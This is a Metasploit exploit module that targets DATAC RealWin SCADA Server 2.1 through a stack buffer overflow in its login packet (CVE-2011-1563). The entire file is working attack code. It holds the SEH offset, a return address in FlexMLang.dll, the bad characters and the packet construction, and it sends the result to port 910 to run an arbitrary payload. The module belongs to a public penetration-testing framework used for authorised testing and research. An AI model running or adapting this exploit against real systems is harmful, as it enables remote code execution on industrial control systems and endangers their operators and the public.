##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealWin SCADA Server DATAC Login Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in DATAC Control
          International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
          earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
          packet containing a long username, an attacker may be able to
          execute arbitrary code.
        },
        'Author' => [
          'Luigi Auriemma', # discovery
          'MC',
          'B|H <bh[AT]bufferattack.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-1563'],
          [ 'OSVDB', '72824'],
          [ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
          [ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-110-01']
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 450,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Universal',
            {
              'Offset' => 392, # Offset to SEH
              'Ret' => 0x40012540, # pop/pop/ret @FlexMLang.dll
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-03-21',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(910)])
  end

  def exploit
    data = [0x67542310].pack('V')
    data << [0x00000824].pack('V')
    data << [0x00110011].pack('V')
    data << "\x01\x00"
    data << rand_text_alpha_upper(target['Offset'])
    data << generate_seh_payload(target.ret)
    data << rand_text_alpha_upper(17706 - payload.encoded.length)
    data << [0x451c3500].pack('V')
    data << [0x00000154].pack('V')
    data << [0x00020040].pack('V')

    connect
    print_status("Trying target #{target.name}...")
    sock.put(data)
    select(nil, nil, nil, 0.5)
    handler
    disconnect
  end
end